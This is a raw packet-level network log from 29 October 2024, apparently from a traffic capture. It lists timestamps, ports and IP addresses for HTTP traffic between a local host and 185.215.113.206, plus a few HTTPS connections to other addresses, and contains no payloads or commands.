Oct 29, 2024 15:27:49.097346067 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097347021 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097351074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097362995 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097368956 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097374916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097381115 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097398043 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.097434044 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.097470999 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097477913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097484112 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097532988 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.097654104 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097661972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097672939 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097678900 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097723007 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.097800016 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097806931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097811937 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097817898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097822905 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097852945 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.097867012 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.097959042 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097966909 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097978115 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097984076 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097989082 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098047972 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.098048925 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.098154068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098160982 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098172903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098225117 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.098305941 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098313093 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098324060 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098330021 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098344088 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098351955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098354101 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098361015 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098360062 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.098381996 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.098414898 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.098459959 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098467112 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098516941 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.098644972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098651886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098664045 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098669052 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098683119 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098690033 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098701000 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098701954 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.098707914 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098714113 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098720074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098725080 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098737955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098742962 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.098750114 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098756075 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098762035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098771095 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.098774910 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098782063 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098788023 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098797083 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.098800898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098808050 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098814011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098825932 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098829031 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.098833084 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098889112 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.098911047 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098918915 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098931074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098937035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098942995 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098949909 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098956108 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098968983 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098974943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098974943 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.098988056 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098992109 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.098995924 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.098995924 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.098999023 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.099006891 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.099011898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.099016905 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.099028111 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.099029064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.099035025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.099040985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.099047899 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.099050045 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.099055052 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.099061966 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.099066973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.099072933 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.099080086 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.099081993 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.099087954 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.099107981 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.099132061 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.100893021 CET	443	50011	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.100914955 CET	443	50011	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.100980997 CET	50011	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.101003885 CET	443	50011	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.101258993 CET	443	50011	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.101322889 CET	50011	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.101516962 CET	50011	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.101535082 CET	443	50011	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.101541996 CET	50011	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.101547003 CET	443	50011	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.108095884 CET	50018	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.108138084 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.108262062 CET	50018	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.108565092 CET	50018	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.108581066 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.128592968 CET	50019	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:49.128626108 CET	443	50019	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:49.128690958 CET	50019	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:49.128936052 CET	50019	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:49.128947973 CET	443	50019	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:49.145862103 CET	443	50010	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.145939112 CET	443	50010	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.145992994 CET	50010	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.146513939 CET	50010	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.146528959 CET	443	50010	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.146562099 CET	50010	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.146569014 CET	443	50010	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.155370951 CET	50020	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.155397892 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.155469894 CET	50020	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.155780077 CET	50020	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.155796051 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.158763885 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.163592100 CET	50021	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:49.163602114 CET	443	50021	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:49.163732052 CET	50021	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:49.164148092 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.164701939 CET	50021	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:49.164715052 CET	443	50021	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:49.189697027 CET	443	50012	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.189719915 CET	443	50012	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.189780951 CET	50012	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.189804077 CET	443	50012	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.189877987 CET	443	50012	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.190018892 CET	50012	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.190098047 CET	443	50012	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.190129042 CET	50012	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.190129995 CET	50012	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.190151930 CET	443	50012	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.190179110 CET	443	50012	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.192899942 CET	50022	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.192915916 CET	443	50022	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.193005085 CET	50022	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.193154097 CET	50022	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.193167925 CET	443	50022	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.439428091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.439590931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.439600945 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.439606905 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.439614058 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.439623117 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.439626932 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.439666033 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.439716101 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.439739943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.439749002 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.439755917 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.439765930 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.439804077 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.439858913 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.439888954 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.439898968 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.439941883 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.440089941 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440099955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440107107 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440119028 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440160036 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.440176964 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.440227985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440237045 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440243006 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440280914 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.440764904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440773010 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440785885 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440792084 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440798998 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440804958 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440818071 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440824032 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440824986 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.440833092 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440860033 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.440875053 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.440907001 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440915108 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440926075 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440932035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440937996 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440948009 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.440954924 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.440994978 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.441101074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441112995 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441118956 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441124916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441129923 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441138029 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441162109 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.441176891 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.441266060 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441278934 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441284895 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441292048 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441298962 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441315889 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441318035 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.441348076 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.441359043 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.441397905 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441406012 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441453934 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.441575050 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441585064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441596985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441602945 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441608906 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441615105 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441631079 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441632986 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.441638947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441648960 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441657066 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441662073 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.441665888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441673040 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.441698074 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.441714048 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441729069 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.441730022 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441760063 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.441781044 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.441891909 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441900015 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441931009 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441942930 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441946983 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.441950083 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441957951 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441965103 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441972971 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.441986084 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.442009926 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.442147970 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442157030 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442162991 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442168951 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442176104 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442189932 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442195892 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.442198038 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442205906 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442220926 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.442250013 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.442327023 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442334890 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442341089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442346096 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442352057 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442367077 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442368031 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.442373037 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442380905 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.442423105 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.442641973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442648888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442660093 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442666054 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442706108 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.442718983 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.442925930 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442938089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442955017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442965031 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442982912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.442986012 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.442994118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443012953 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443018913 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.443041086 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.443048954 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443061113 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.443094015 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.443269014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443280935 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443295956 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443303108 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443322897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443332911 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.443360090 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.443425894 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443435907 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443450928 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443492889 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.443507910 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.443587065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443598986 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443614006 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443620920 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443639040 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443644047 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.443655014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443664074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443676949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443684101 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.443707943 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.443732977 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.443732977 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443742037 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443757057 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443766117 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443783045 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443802118 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.443829060 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.443876028 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443886995 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.443895102 CET	80	49940	185.215.113.206	192.168.2.6
